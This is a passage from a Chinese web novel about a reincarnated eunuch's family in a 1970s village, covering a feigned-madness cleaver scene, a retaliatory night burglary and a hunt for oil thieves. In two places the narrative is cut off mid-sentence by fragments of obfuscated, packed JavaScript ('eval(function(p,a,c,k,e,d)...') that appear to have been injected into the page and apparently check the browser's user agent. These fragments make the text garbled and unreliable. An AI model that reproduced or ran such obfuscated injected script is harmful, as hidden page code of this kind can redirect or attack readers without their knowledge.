“小楠,来,到枣花奶奶这里来。你这孩子,毕业了也不回来看看,这是和老家生分了?”灰衣老太太一把拉过姜楠,小眼睛唰唰唰一通打量,就是姜楠头上有几个旋儿,都逃不过老太太凌厉的双眼。心里那个满意啊,这孩子,腰是腰,屁股是屁股,一看就是好生养的。 “真是越来越俊啦。说婆家没有?给枣花奶奶说,想找个啥样的,枣花奶给你留意,保准找个又好又俊俏的。” 姜楠呵呵傻笑,完全没了家里的机灵劲儿。姜满城赶忙开口解救他闺女:“枣花姨,都这么晚了,您不回家早点儿歇着啊?明儿不得上工?” 农村可不像城里,还有礼拜天这个说法。那是每天都上工的。 被称作枣花姨的女人脸一耷拉,伸出指头狠狠戳了戳姜满城:“你个小没良心的,这是赶你姨走呢?亏小时候还给你馍吃。” 说着她松开姜楠的手,切入正题:“城子,听说油田又发现新油井了?离咱这远不远?按说咱这儿疙瘩,离油田这么近,地底下应该也有油啊。你得跟油田领导反映反映,到咱这也那个啥,那个词儿咋说的。” 说着她皱皱眉,想了一会儿,激动地一拍大腿,叫道:“勘探,对,到咱这也勘探勘探。到时候咱们大队家家都能出个石油 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“光分家还不行,那不得去公社登记?不然咱村里私下分的可不作数。”姜满城掰着手指给大家一一列举,“还有,结婚也得登记,男二十岁,女十八岁,这才到年龄呢。这十六岁就结婚摆酒,那是在村里,法律上可不认。” “城子,你们楼里那几个鳏夫都找到媳妇儿了没?我这里好几个大姑娘小寡妇,都可以介绍的。”说到结婚,大队媒婆春杏姑插嘴道。 姜满城一人对付十几个农村大妈,脸上始终挂着得体的笑,十分的游刃有余,看得姜楠啧啧称奇。很快,月亮越升越高,大家陆续离开了姜家院子,众人这才瘫坐在大炕上,一脸逃出生天的庆幸。 “没外人了,咱说正事。”杜荷花收起脸上的假笑,肃着脸开口,“小桂今年十七了,也是时候娶媳妇了。我话说在这里,这个家就算分了,也是我杜荷花做主。马红花,收起你的小心思,小桂该娶谁有我把关,你再瞎掺和,就滚回你的娘家去。老二,我的话,在这个家里还作不作数?” “作数,作数。”姜满坡坐直,在大哥的死亡凝视下,赶忙表态,“娘,这个家什么时候都是您说了算。真的,我和我家的肯定不掺和。” “奶,我都听你的。我娘也是替我着急,您就别生气了。”姜桂看了眼低着头不言语的母亲,开口替母亲辩白。他在孙辈中排行第二,自小跟着奶奶长大,最知道他奶的厉害。 “奶知道你是个好的。”杜荷花看了眼二孙子,满意道,“你放心,奶一定给你寻摸个好媳妇。好了,天也不早了,满坪你回去吧,明儿晌午再过来。老大,带你小弟一家回屋。” 姜家的房子在大队里是很气派的,一水儿的石头房子。正屋五间大房,住着杜荷花和老大姜满塘一家,东厢三间,住着老二姜满坡,西厢三间则是姜满城的。就算姜满城当了石油工人,当初分的房子也没有收回去。不过因为不常回来,钥匙给了老大一家看管,时常过来打扫打扫卫生啥的。姜满城也不让大哥白干,每次回来都额外给大哥带点儿东西。 这次也是,姜满城进屋后,将一包大白兔递给大哥,问道:“这次就二房的事儿?这点事儿娘抬抬手就解决了,咋特意让小松去找我?” 姜满塘接过纸包,支支吾吾:“老二家的,可能......可能没那么容易放弃。” 姜满城来了兴趣,将大哥拉到炕上坐下,低声问:“到底咋回事,说说。” 姜满塘挠挠头,瞥了眼铺床收拾房子的陈金花母女,想着娘的话,到底还是开了口:“那个,老二家的看上了裘家的盼儿,想着使些手段让盼儿嫁过来呢。” 姜满城挑挑眉,了然道:“生米煮成熟饭啊?” 这一家子可够丧良心的,这是想吃绝户啊。 “对,具体咋样操作我也不知道。娘她是晚上上茅房,听到老二和老二家的偷偷说的。小弟,家里就你主意多,你可得想个法子。裘向东虽然也是咱大队出来的,但他就一个闺女,肯定想让女儿高嫁的。咱可不能因为这个,和裘家结仇。裘家那亲家,可是支书呢,要是因为这事儿跟咱家算账,可够咱们喝一壶的。” “我知道了。你容我想想。”姜满城听完,沉默两秒,开口道,“盼儿那丫头性子有些左了,跟小桂不合适。小桂他爹妈虽然不靠谱,这孩子倒是还好。咱娘的眼光没问题,你就别操心了。” 兄弟俩又说了会儿闲话,陈金花和姜楠已经铺好了炕。姜满塘趁机告辞,等屋里只剩下一家三口,姜满城立刻往炕上一趟,发出舒服的喟叹:“真是累死了。明儿肯定有好戏,嘿嘿嘿。” “什么好戏,裘家都没回来,老二两口子自己唱不成啊。”在兄弟俩闲聊时,陈金花已经洗漱好,此时掀开毯子躺了进去。 “你当就这事儿啊。”姜满城轻轻笑了下,带着几分不屑,“这事儿娘抬抬手就解决了。明儿肯定是有其他事,娘不好明说,咱们就看着吧。” 15. 发疯 农村的一天,从公鸡咯咯咯打鸣开始。只要一家的公鸡开始叫,其他家的也会陆续响起,此起彼伏,连绵不绝。 姜家各房已经起了。今儿轮到二房做早饭,马红花顶着黑眼圈,在灶房里摔摔打打,跟帮忙烧火的儿子姜桂抱怨:“你奶就是太霸道了。你是我儿子,凭啥你的婚事我不能插手?就没有这样儿的!你奶就是个农村老太太,找的肯定都是村里人。娘还不是想让你娶个城里媳妇,将来吃上商品粮?这咋叫乱插手?” 姜家二房只有一个儿子,姜桂从小就极懂事,十岁起就帮着马红花做早饭,马红花看自个儿儿子那是天下第一好,就是天上的仙女想嫁她儿子,她马红花还得考验考验呢。 姜桂正往灶膛里塞柴火,闻言不在意地笑笑:“娘,你急什么?昨天小叔不是说了,咱们这儿迟早会发现石油的,到时候我跟我爸不就成工人了?奶肯定是想到这个,才不急的。” 马红花不赞同道:“那还不知道等到啥年月呢。” 母子俩在灶房忙活,姜满城一家也很快起了。不起不行,公鸡一直在叫啊,咯咯咯的,别提多烦人了。 姜楠顶着鸡窝头,深吸一口气,苦大仇深地向厕所走去。这个年代的农村旱厕啊,不能提,一提都是泪。 姜满城端着脸盆去灶房舀水,姜桂见了,忙喊了一声小叔,马红花则理都没理,木勺子搅得锅里的粥都要溢出来了。姜满城似笑非笑地来了一句:“二嫂大早上火气不小啊” 马红花想到婆婆的偏心,哼一声,想回点儿什么,被儿子姜桂拉了拉衣角,这才什么也没说,只又重重哼了一声。 姜满城才不管她闹什么妖儿呢,端着盆儿出去洗漱。恰陈金花穿戴好出来了,一家三口快速地洗漱完毕,进了正屋。 虽然外部分了家,但那是为了工作,内里还是聚在一起开火吃饭的。姜家人多,姜满城一回来,干脆开了两桌,长辈一桌,姜楠这些小辈儿一桌,各自吃饭也自在。 杜荷花坐在主位,开始一天的分派:“今儿除了老小一家,都得去上工。昨儿大队长说了,趁着现在天气好,要抢收大豆。别人我不担心,满塘,你是记分员,不用你下死力气干活,知道不?!还有小柏,你个死心眼的,别跟你爹学,如今干多干少都一样,人六劳四,你还年轻,可悠着点儿。看看人家枣花家的大驴,也是十个公分,可从来没见人家累得跟狗似的,多学着点。” 见大儿子大孙子憨笑着点头,杜荷花敲敲桌沿,继续吩咐:“还有老二家两口子,你们要是一人少于八个公分,中午的席就别吃了,听到没有?” 姜满坡拍胸脯:“知道了,娘,您就放心吧。我啥时候掉过链子?” 马红花暗暗撇嘴,憋憋屈屈地点了头。 杜荷花哼一声,眼睛望向孩子那一桌:“小桂,奶知道你聪明,就不叮嘱你了。小槐,小桐,你们跟着你二叔二婶,跟他俩学学。小松,跟狗娃子他们别太贪玩,被大队长看见了非打你们不可。” 家里干活儿的都分好了任务,杜荷花这才转向小儿子这边:“城子你们上午就在家做饭,顺便看着小河。中午的菜都放灶房了,金花你们看着做吧。” 最后轻咳一声,见连小心思最多的二儿子姜满坡都没再提出异议,这才拿起筷子,一声令下:“吃饭!” 姜家的早饭是最简单的碴子粥和棒子面儿窝头。碴子粥肯定跟姜楠家的没法比,但因为要夏收,还算稠,不多不少,一人一碗。窝头也是有数儿的,大人一人两个,十岁以下的小孩子一人一个,再发三根萝卜条咸菜。因为都是定量,杜荷花一声令下,倒是没有争抢。不过仍是呼哧呼哧地开吃。这年头,大家都缺油水儿,一日三餐就没有剩下的。 姜家就是普通农家,自然没有食不言寝不语的规矩。这不,马红花,又是马红花,总是马红花,她看了眼喝粥的姜楠,小声问陈金花,声音十分关切:“弟妹,小楠找到工作没?” “没有。现在工厂招工少,我让她每天去看看,兴许就碰上了呢。”陈金花嫁过来十几年,对两个妯娌也都熟悉,虽然不喜马红花的为人,却也没翻过脸。 “小楠也十六了,有没有想过先找对象结婚?这年头,招工也不容易,其实可以先考虑个人问题的,我娘家......” “老二家的,你要是不饿,就别吃了。” 杜荷花声音冷飕飕的,立时让马红花闭了嘴。她低头撇撇嘴,暗骂一句老太太偏心。要不是看在陈金花她爹和两个大舅哥的面子上,你杜荷花会对一个只生了女娃就不能再生的儿媳妇露笑脸?怕是一天恨不得打三顿呢。 姜满城嗤地笑出声,脸上虽挂着笑,声音却带着冰碴子:“二嫂,你慢慢吃,太贪心了容易噎着。” “好了,大早上的就不消停。都给我好好吃饭。谁再说话,今儿这碗筷就归谁刷!” 饭桌上,众人果然静了下来。 虽然有小插曲,早饭还是很快就吃完了。一家都去上工,就连今天要过生日的杜荷花,都扶着长媳和长孙媳,拎着麻袋出门了。 姜满城坐在炕上,时不时冷笑两声,十分的渗人。陈金花洗完手进来,劝道:“好了,马红花也就嘴上能耐,她什么时候占过咱家便宜?你不用放在心上,咱家小楠不傻。” “你别管。不傻也不能让人算计,这是原则问题。以前那些小事儿咱不计较,如今她都敢打小楠的主意了,不一下子拍死,她这种蠢人,还不定做出什么呢。”姜满城摆摆手,又跟没事人一样跳下床,招呼在院儿里逗小姜河的闺女,“走,去灶房看看都准备了啥。这老太太,啥时候都不会亏待自己的。” 虽是这么说,但毕竟条件摆在那儿,灶房无非也就白菜、芹菜、萝卜、红薯叶等青菜,肉菜也就两条鱼,不大,一看就是去山上的河里捞的,另外有一只野兔,一只野鸡,已经是很奢侈的席面了。 花钱买猪肉?农村谁家不年不节的吃肉,就算过生日,也不行的。没看,这些肉菜都是野物嘛。在村里人看来,这不能算肉,只能算没钱买肉的替代品。 “小鸡儿炖蘑菇、辣炒兔丁、鲫鱼豆腐汤、芹菜炒香干......”姜满城看着食材,一样样细数中午的菜色。 小姜河高兴地直蹦。小家伙只两岁,小奶音格外萌:“吃肉,吃肉!” “呀,小河再叫,嘴里的大白兔就要掉出来啦。”姜楠吓唬小朋友。 “才不会!”小姜河忙捂住嘴,小脸蛋儿鼓鼓的。 姜楠嘿嘿笑两声,蹲下身戳了戳小家伙的脸,小家伙嗖嗖嗖蹿到小叔奶陈金花身后。 姜楠做了个鬼脸儿,起身拉着他爸的胳膊撒娇:“爸,兔子切两半,另一半炖土豆儿呗?炖肉的土豆,比肉都好吃。” “好,分两半。”姜满城拍板,三人很快收拾起食材,小姜河在院子里撒欢儿。依旧是姜满城掌勺,等最后一道鲫鱼豆腐汤出锅,上工的众人也陆续回了家。 杜荷花生日并没有邀请外人,只自家人聚一聚,吃些好的罢了。姜满坪作为唯一的女儿,带着丈夫王军,和双胞胎儿子一起回来给老娘庆祝,大炕上满满当当坐了近二十人。 大家洗过手,很快坐好准备开吃。 “娘,今天是您五十五岁大寿,儿子作为长子......” 姜满塘举起酒杯,恭贺的话还没说完,就有人登门,还是呼啦啦十几个人一起。一个个五大三粗,气势汹汹的,立时姜家的院子都显小了。 见来人面色不善,姜家几个儿子和正当年的孙子们呼啦啦出了屋。农村就是这样,被人找茬绝对不能怂,要是显出疲态,村里人能欺负死你。 杜荷花倒是十分悠闲,慢悠悠穿好鞋,掸了掸衣角,这才不疾不徐地迈步出门,站在几兄弟身前。 姜满城一眼就认出来,这是村头的老魏家。 “杜大婶,您有福。”为首的中年男人虚虚拱了拱手,他是魏家的老大魏有为,今年三十八,跟姜家老大姜满塘同岁。只是一脸凶相,小眼睛吊梢着,露出几分奸滑。 “前几日跟您说的事儿,考虑的怎么样了?这么多天了,我也算是给足您面子了。”魏有为扫了眼老太太身后的众人,嗤笑一声,“有舍才有得,您这在大资本家做过下人的,不会连这个道理都不懂吧?您小儿子如今可是石油工人,两口子工资加起来有一百多吧?您说您都这么有福气了,还留着那些东西干什么?这不是擎等着招祸嘛。我也是好心,想着替您保管,也是为您分忧不是?放心,我不是那没良心的,您以后要是想用,我再还给您就是了。您和我妈,当年可是好姐妹,您信不过我,还信不过我那死去的妈吗?我妈可说了,我是好孩子,您得信她老人家的话啊。” 说到最后,声音竟带着几丝怨毒。 姜满城心道戏肉来了,赶紧回头看向堂屋,那眼神怎么看怎么可怜兮兮。呜呜,这老娘发起疯来,没半个小时打不住,满桌的肉菜啊,还热乎着呢,这是要凉了啊。 姜楠也是个机灵的,一看这架势,还有什么不知道的,奶奶这是请他们回来看戏啊。她同款脸看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜荷花已经是一把鼻涕一把泪了,嗷嗷叫着,挥舞菜刀冲向人群,一下下劈砍。那是真下死手啊,魏家的几个媳妇儿的头发都被砍掉了一大截。大老爷们躲得倒是快,没伤着,却也吱哇乱叫。 魏有为更是被追得四处逃窜,不过依旧凶巴巴地,高喊出来的语气多少有些气急败坏,他说:“你少在这里装疯卖傻!我可不信你真疯了。东西今儿必须交出来,不然我老魏家就天天上门。啊啊啊,姜家的,你们就不管管?你娘要是伤人杀人,你们也得不了好。” “我娘杀人不用偿命。”马红花幽幽道。 空气突然安静,魏有为愣了下,随即高喊:“你娘是骗人的。那个证明是假的,你们快管管你娘,这啥时候杀人都得偿命!” 嗯,多少有些色厉内荏。 “证明是市区医院开的,公社登记过的。”姜满城好心解释。 “公社去核实过,是真的。”这是回娘家的姜满坪。 魏家的几个儿媳,闻言嗖嗖嗖蹿出了姜家院子,魏有为媳妇更是开口劝道:“有为,婶子的证明是真的,你别冲动,再为这个丧了命,不值当。” “是啊,大哥,咱分了不少了,就别......” “好啊,你们几个丧良心的,商量的时候你们咋不说不少了,现在倒做起了好人。还不快点夺了老太太的刀,没用的东西,快啊。” 虽然这么喊,但真没人敢上前。那可是菜刀,是功夫再高也怕菜刀的菜刀啊。而且姜家为了今儿剁肉方便,还特意磨了菜刀,没看大太阳底下还反光嘛。这家伙,谁敢上啊。 “娘,您咋又犯病了,娘。您别激动,您年轻时候受苦了,别想这些了。”姜满塘心疼地直抹眼泪,不顾危险,跨步就要去夺菜刀。 姜满城对这个大哥十分无语,这都多少年了,还没看出来娘是装的?这场戏要是不这么唱下去,魏家不定闹什么幺蛾子呢。他赶忙拉住大哥,声音凄苦地道:“大哥,别急。娘犯病了可是六亲不认的,就是你上前都可能受伤,你别冲动。” 拽住了大哥,姜满城冲着人群里依旧四处劈砍的杜荷花喊:“娘,您醒醒啊,娘。虽然您杀人不用偿命,但多少也脏了手不是。您可别冲动,您还有一大家子要顾呢,可不能做傻事。” “小弟说的对,娘啊,您得替家里想想啊。家里还都指靠着您呢。”这是鬼心眼子最多的姜满坡。 杜荷花虽是个老太太,却是个从不亏待自己的老太太,身体倍棒,半个小时过去了,菜刀仍是挥舞的虎虎生风。魏有为兄弟几个到底惜命,见占不到便宜,狼狈地逃到姜家院门口,放了几句狠话,捂着血呼哧啦的左手,一瘸一拐地回了家。 杜荷花去开证明,那可是为了关键时刻真能动手的。今日愣是砍掉了魏有为左手的一截儿小拇指,疼得魏有为差点儿昏死过去。也是因为这个,魏有为才知道怕了,灰溜溜回了家。 16. 黑吃黑 要说为啥闹这么凶也没人出来看热闹呢?这要从姜家的房子位置说起。 杜荷花和丈夫姜来财是外来的,村里哪会给他们分好地方住?紧挨着山脚下的一间茅草房,原来是孤寡老猎户住的,人死了就一直空着。因老猎户长得凶,又干的是杀生的活计,村里人多少有些忌讳,没敢去占房子的便宜。这倒是便宜了外来的姜家。 姜家在茅草屋安了家,住得离村里就远了些,中间隔着一条河呢,平时很少有人会过来。而且正值夏收,大家上午都累惨了,吃了饭要抓紧时间睡觉休息,不然身体可扛不住。 是以这么大的动静,村里愣是没有过来看热闹的。 等魏家人走了,杜荷花咣当一声扔下菜刀,‘昏倒’在地。一家人慌忙将老太太抬进屋里,姜满城蹿到炕上守着人,不忘吩咐大家:“大哥大嫂,你们去烧点儿热水,给娘冲点儿红糖姜水喝,压压惊。其他人都出去吃饭吧,我和金花、小楠守着就行。” “那啥,让小桂也留下来吧,他心细,干活儿也麻利。”马红花可不放心姜满城一家独自守着老太太,提议道。 “行,槐子也留下吧,其他人都去吃饭。没事儿,娘一会儿就好了。”姜满城开始赶人。姜满坡还想说什么,被大哥拽了出去,只得庆幸儿子留了下来,他们二房没吃亏。 屋里,杜荷花悠悠醒转,坐起来,接过小儿子递过来的水碗,咕嘟咕嘟喝了个精光。见屋里都是明白人,这才将事情经过讲给了众人听:“不是要瞒着你们,是必须让魏家知道怕了才行。满塘是个老实的,家里的事儿我也不敢跟他说。你们也知道,早些年我和你爹在主家做活,也是得了些好处的。腊梅是和我一起做事的小姐妹,前几天死了,临死前将藏着的一些首饰分给了几个儿子。魏有为这个缺德冒烟儿的,猜到我这里有东西,这就盯上了。不过你们放心,今儿这一出以后,保准他不敢再在明面上闹。至于暗地里......” 她望向小儿子,哼一声:“叫你过来为的什么,明白了吧?” 姜满城立刻像模像样地敬了个礼,嬉皮笑脸地说:“保证完成任务。” 他放下手,继续道:“明儿您就瞧好吧。保证让他们家只顾内乱,再也没心思找咱家的茬。” 杜荷花点点头,严厉地望向众人:“你们都是聪明的孩子,该是知道什么该说,什么不该说。要是让我知道你们将这事儿告诉爹妈,看我不打断你们的腿!” 众人嘿嘿笑着点头,杜荷花这才揉揉肚子:“金花,去给我盛些菜过来,他奶奶的,都没吃饱就来闹事,真是缺德冒烟儿的狗东西,腊梅平时瞧着也不是个糊涂的,怎么养出了这几个不是东西的狗崽子。” 骂骂咧咧吃完了午食,大家抓紧时间休息了一个小时,等下午太阳没那么烈了,又出去上工。夏收的繁忙程度,跟秋收不遑多让,杜荷花这生日,也算是给大家伙补身子了。 “爹,下午咱们上山呗。啥事儿不得晚上干,咱下午又没事,不耽误。”姜楠抱着小姜河,提议道。今儿这肉吃得够味,她可是一早就想着带一只兔子回去的,如果能有野鸡就更好了。 “大姑姑,我也上山。”姜河刚睡醒,眼睛半睁着,小脸蛋儿红扑扑,闻言眼睛都瞪大了。 陈金花也是眼前一亮。她身手好,每次上山都有收获,可是最乐意去山上的。少数服从多数,虽然姜满城更乐意在床上躺着,还是挣扎着起来,陪着媳妇儿孩子上山。 因着住在山脚下,姜家有自己上山的小道。三人轻松地上山,哦,不,应该说姜楠和陈金花,抱着小姜河,轻松地上山,姜满城被妻女拉着,十分地理直气壮。嗯,问就是省力。 因着村民也是经常上山,林子里的果子只要是成熟的,基本都被人摘完了。三个半人走了半个小时,才勉强找到几处刺玫果,酸酸的不好吃,就连小不点姜河都皱着眉,呸呸吐了出来。仗着会功夫,大家往深处走了走,不过也没敢进很深。姜满城自小在村子里长大,可是听过很多老林子里老虎、野猪咬人的事的。 也许是运气好,三人半进去没多久,就看到一头傻狍子在河边喝水。 陈金花捡起一颗石头就砸了过去,傻狍子的头瞬间被砸出血,倒在地上一动也不能动。 姜楠哈哈笑着跑了上去:“妈,你可真厉害!您是世界上最厉害的妈妈了!” 陈金花被夸得心花怒放,她力气大,也不让闺女上手,扛起狍子就下山。你说姜满城?他时时刻刻身体力行地表示,他就是一个小白脸,这种活儿,他不行的。这不,抱着二岁的侄孙儿,都累得呼哧带喘的。 大家摘野果子耽误了一些时间,等下山时,家里的人都收工回家了。 “小弟,你们可真行,这么肥的狍子都让你打到了。”姜满塘眼睛亮晶晶的,真心实意地夸奖姜满城。 杜荷花翻个白眼,这个大儿子,要不是她时刻看顾着,能被两个弟弟坑的裤衩子都不剩。 “嘿嘿。”姜满城也不解释,大方地说,“今儿炖一条狍子腿儿,其他的我们今晚熏上,可都带回去了。这可是我家打到的,大家别眼红。” 他眼神有意无意地扫向老二两口子,那意味,不言自明。 “那哪能。”因是老娘杜荷花生日,唯一的女儿姜满坪晚上也没回婆家,依然回了姜家,只是这次没带丈夫和儿子。 她笑着解围道:“满城,还是你做吧。你手艺好,我们也享享口福。” 其实上辈子姜满城是个太监,并不是厨子,要说手艺多好,那是没有的。他就去御膳房提过几次膳,跟御厨拉过家常。一些做饭的常识他还是知道的,什么醋要沿着锅边淋,肉要冷水下锅焯水之类的。别看不起这些小常识,如今很多人还是不懂的。一是资讯没那么发达,消息传播的慢,二是这在很多人看来也算是诀窍了,不会轻易外传的。 于是姜满城作为见过御厨做饭的,就成了家里手艺好的了。 不过有肉,就算手艺不好,大家一个个也吃得肚圆,就连第四代姜河小朋友,都吃得满嘴流油。估计今晚的梦,都会比其他时候香甜。 半夜,姜家西厢房的门悄么悄打开,三个人躬着身子,小碎步离开。 “爸,你想怎么做?”等出了院子,姜楠才轻声问。 “当然是想办法引起兄弟内讧啊。”姜满城趁机教育闺女,“这别人给你找麻烦,那是因为他们太闲了。这时候自然得给他们找点儿事做。别废话,跟好了,多学着些,以后不吃亏,知道吗?” “少跟闺女说这些有的没的。”陈金花敲了下姜满城的头,不满道,“咱闺女会功夫,啥时候都吃不了亏。你少说话,再让闺女学坏了。” “娘,我是您闺女,咋会学坏。”姜楠立刻开始撒娇,“再说,爹可从来不主动惹事。您还不知道,爹都是别人惹他,他才还手的。而且您都跟来了,肯定是赞成爹这么做的,嘿嘿,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个蓝色的小包袱赫然出现在三人面前。姜满城立刻上手,将包袱拢在怀里。 三人不敢耽误,很快将石碾恢复原状。至于再砌上?谁管这个,他们巴不得魏有为发现不对劲儿闹起来呢。姜满城和陈金花猫着腰,轻轻推开了魏有为屋子的大门。可能是中午受了惊,魏有为晚上喝了药,此时睡得格外沉,连大门门锁哧哧的响动都没发现。 姜满城和陈金花也不是为了偷东西,这不是得做出魏家老二在老大屋子里翻找一通,没找到,然后去院子里找的假象吗?二人用左手在屋子里一通扒拉,故意留下几个手印,又蹑手蹑脚地离开。 如此这般,这般如此,又将魏家老二藏在柴房地底的财宝洗劫而空,屋子里又翻找了一遍,留下印记,这才离开。至于魏家老三,作为唯一没丢宝物的一家,就算不是他做的,也会被另两个兄弟嫉妒。 魏家三兄弟这几年,就别想安生过日子。 三人背着两个包袱,欢欢喜喜地往家赶。这年头,人都吃不饱,别说养狗了,村里遇见狗那都是杀了吃肉的。一路上三人没惊动任何人和狗,很顺利就到了家。 不急着回自己屋,三人直接去了正房杜荷花那。老太太没睡,正等着小儿子回来呢。见三人全须全尾的,暗暗放下心。 “快看看,魏家分啥好东西了,贪成这样?”姜满城蹑手蹑脚地关好门,把包袱往炕上一放,三下五除二地解开了包袱皮。 17. 再立功 “急什么,这么大了还不定性,让我说你什么好。”杜荷花轻声斥责,眼睛却也黏在包袱上。 “我当什么呢,不就是一些金银首饰,成色也不咋好,就值得这样。”姜满城将两个包袱都打开,轻蔑地撇撇嘴,“不过也是,魏家那老太太就是个二等丫头,没娘你厉害,能有这些东西傍身,也是挺牛气了。” “正是。腊梅是越老越糊涂,怎么能把孩子惯成这样。”杜荷花扒拉了两下包袱,拿起其中的一对儿银耳钉,眼神有几分怀念,“这个还是当时大小姐成亲,给房里的送嫁丫鬟打的,一人一对儿,我那儿也有呢。当时主家人其实不错的,哎,这些年也是没办法,败坏了主家的名声。” “好了,妈,别想这些了。”姜满城怕老太太难过,劝道,“我们也不要他们的东西,先帮他们藏着,以后他们要是改好了,再还给他们。不过要是还找咱家茬,咱们可就不客气了,谁让他们家不做人呢。” 杜荷花摆摆手,神色怏怏,明显是勾起了年轻时候的伤心事。三人也不再说话,放下包袱走人。只是杜荷花很快回过神来,向三人招招手,从包袱里拿出一个细细的金手镯,递给陈金花:“满城家的,拿着。不能让你们白忙活。娘知道你出力最多,这个手镯你拿着,就当是这次的酬劳。” 陈金花看看姜满城,见他点头,这才接过金手镯。 三人悄悄回了屋,刚关上门,姜楠立马兴致勃勃地问:“爸,奶奶那都有什么,你看过没?” “那当然看过了。你奶可是啥都不瞒我。” 姜满城昂着头,语气欠欠地说:“也就一根大黄鱼,两个金钗,一对儿金手镯,再有就是戒指、耳环这些小件儿。成色比这个好,不过大部分都是你爷弄来的,你爷可是前院管事儿,那油水比你奶多多了。” 他鼻孔朝天,虽然上辈子看惯了金银珠宝,对老太太手里的几样东西很是看不上眼,但也不妨碍他佩服这辈子的老娘,不妨碍他给闺女争。 啥时候过啥样的日子,就算不是大富大贵,他也得让闺女吃穿不愁,该是他的东西,谁也别想从他手里拿走。 “行了,忙了一晚上,睡......” 陈金花话还没说完,就见闺女一脸放空,跟被点穴了似的立在那儿。夫妻俩对视一眼,知道是系统又发布任务了。 果然,姜楠脑中的电子音响起,【宿主,发现村里有人在油田井上偷油,主系统发布1500吃瓜币的悬赏,奖励宿主抓住偷油贼哦。】 “不就是偷油贼嘛,怎么比举报老尤那个家暴男,奖励的还多?不会搞错了吧?” 【因为如果不制止,他们会发展成偷油团伙,后期会发生油井大火,造成重大人员伤亡和财产损失。】 姜楠了然,赶紧回过神来,将系统的话原数告诉父母。姜满城沉吟片刻,看了看媳妇儿手里拿着的镯子,权衡利弊后,他说:“上次的500吃瓜币还没花,我记得你说五千吃瓜币可以兑换一个须弥芥子,是不是?” 须弥芥子,就是俗称的空间。系统升级到2.0之后,为了宿主的安全考量,开通了空间功能,不过需要用吃瓜币兑换。 姜楠点点头,姜满城立马拍板。 “干了。空间可是很有用的,藏东西比家里保险多了。走,收拾收拾,带点儿绳子刀啥的,咱们骑车过去看看。” 陈金花将金手镯藏好,三人又吭哧吭哧骑着自行车往油井赶。 “哎呀妈呀,这一天天的,累死个人。”姜满城边抱怨边蹬车,呼哧带喘的,他说,“啥时候咱也去老林子里挖挖人参,这总得补补不是。不然早晚得累死。” “嘿嘿。”姜楠边飞速地蹬车,边赔笑,“爹你放心吧,你闺女有系统,那可是天命之女,肯定能找到人参给你补的。” 【宿主,我没有扫描周遭环境的功能。】 姜楠不理系统的拆台,继续吭哧吭哧地踩自行车。油井跟他们家属院是两个方向,骑车要差不多两个小时呢,三人不再说话,埋头狠踩脚蹬子。 吭哧吭哧。 三人一路火花带闪电,终于到达了事发的油井。油井是有人驻扎的,不远处就是油田的玻璃钢房子,跟码头的集装箱似的,驻扎的钻井工人就住在里面值守。只是已经是后半夜了,值守的人也累得睡着了。 磕头机倒是不分昼夜,仍在勤勤恳恳地抽油。不远处,几个人影偷偷爬上储油罐,显然就是那伙儿偷油贼了。 【宿主,这些人跟二赖子是一伙儿的。他负责蹲点儿,查看油井都有谁值班,趁着值班的人好对付,这伙人就来偷。】 “怪不得上次看他鬼鬼祟祟的。”姜楠感慨,“几个人?都多大年纪?好不好对付?” 【六个人,都是二十三到三十三的青壮年,不好对付。二赖子不在场,他身手不行,宿主不用担心暴露身份。而且我接通了蓝青山警官的频道,发现他在现场,已经蹲守一个小时,准备抓获了。宿主您的生命安全也多了保证。】 姜楠赶紧将这一好消息告诉父母,三人对擒获偷油贼更有信心了。一千五吃瓜币呢,可不能放过。 三人悄悄来到蓝警官身后,姜楠拍拍蓝警官的肩,在蓝警官惊愕的目光下,坚强地开口:“蓝警官,我们家今天回老家了。我晚上看到村里的二赖子鬼鬼祟祟的,就偷偷跟着他,听到了这伙人的计划。我们一家人商量了下,作为油田职工,遇见这种事我们还是应该勇于出手的。所以我们一家一晚上都没睡,悄悄跟着来了油井。不过远远看见您来了,我们就想着跟您合伙,把他们一网打尽,如何?” 她可没说谎,这几人傍晚在林子里商议,可是刚系统扫描出来的。 “胡闹!”蓝警官难以置信,半晌,他厉声斥责,“你们怎么这么大胆!你们知道这一伙人的来路嘛,就敢跟过来。” 他手指点着三个人,气得头上直冒烟:“简直是胆大包天!赶紧回去,别以为看过几场热闹,得了个表扬信,就有多了不起。你们真是,老姜,你都多大的人了,你闺女胡闹,你也胡闹,你说说你怎么当父亲的。” “老蓝,消消气。”旁边的搭档小许深深看了三人一眼,开口劝道,“别激动。再惊动了人就不好了。咱们马上收网了,别急。” “怎么能不急。”蓝青山呼气再吸气,吸气再呼气,但是一切都是徒劳,仍两眼冒火地低吼,“要不是遇见我,你们说得清吗?谁知道你们是来偷油的,还是来抓贼的?!你们怎么这么糊涂!” “老蓝,所长发信号了,走!”小许话音刚落,一溜烟冲了出去。蓝青山条件反射地也往前冲,姜楠和陈金花紧随其后。 这次是连夜审讯尤爱钱之后,油田派出所安排的集体抓捕行动。 尤爱钱不仅利用职务之便偷偷卖油,还往外卖消息。或者说,他是先卖消息,再发展到偷偷卖油的。 油井上都有哪些人值班,战力如何,他通通往外卖。据尤爱钱交代,来钱相当顺利。只是最近有了竞争对手,这伙子没信誉的,竟然想撇开他,偷偷打听消息。他不就涨了点儿价钱嘛,这就一个个的嫌弃他了。被抓了之后,他先交代的就是这个,毕竟出卖消息可比偷偷卖油轻微多了。对于卖油的指控,尤爱钱还死扛着不认,不过相信蓝警官他们很快就能扒开这老小子的嘴。 出警的有将近二十个警官,一窝蜂冲出来,有几个还举着枪,将偷油贼吓得够呛。他们才刚开始动手呢,就被抓个正着,这可是人赃并获!偷油贼们咣咣咣扔掉油桶,四下里逃窜。 这些人也鸡贼,六个人往六个方向逃窜,还知道在油井,警察不敢轻易开枪,嗖嗖嗖跑得比兔子还快,很快隐没在夜色里。警察也不是吃素 